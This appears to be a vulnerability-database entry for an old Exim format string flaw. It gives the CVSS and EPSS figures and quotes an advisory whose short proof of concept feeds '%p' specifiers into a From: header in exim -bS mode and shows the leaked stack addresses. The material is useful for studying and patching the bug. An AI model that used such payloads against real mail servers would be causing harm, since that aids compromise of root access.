CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Format string vulnerability in exim (3.22-10 in Red Hat, 3.12 in Debian and 3.16 in Conectiva) in batched SMTP mode allows a remote attacker to execute arbitrary code via format strings in SMTP mail headers.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
15.61%
–
–
2022-04-03
–
–
15.61%
–
–
2023-03-12
–
–
–
22.76%
–
2023-07-23
–
–
–
19.61%
–
2024-06-02
–
–
–
19.61%
–
2024-12-22
–
–
–
15.21%
–
2025-01-19
–
–
–
15.21%
–
2025-03-18
–
–
–
–
19.93%
2025-03-18
–
–
–
–
19.93,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/2828/info
Exim is a free, open-source Mail Transfer Agent for Unix systems.
Exim is vulnerable to a locally exploitable format string attack which may compromise root access. The vulnerability exists only when the 'syntax checking' mode is turned on, which it is not by default.
The vulnerability has to do with handling of the hostname string in an email address argumenting the 'From:' field. If the syntax checking is enabled, then this vulnerability can be exploited to execute arbitrary code with root priviliges.
Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p
.
===8<======8<=======8<=======
Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40
Products Mentioned
Configuraton 0
University_of_cambridge>>Exim >> Version To (including) 3.22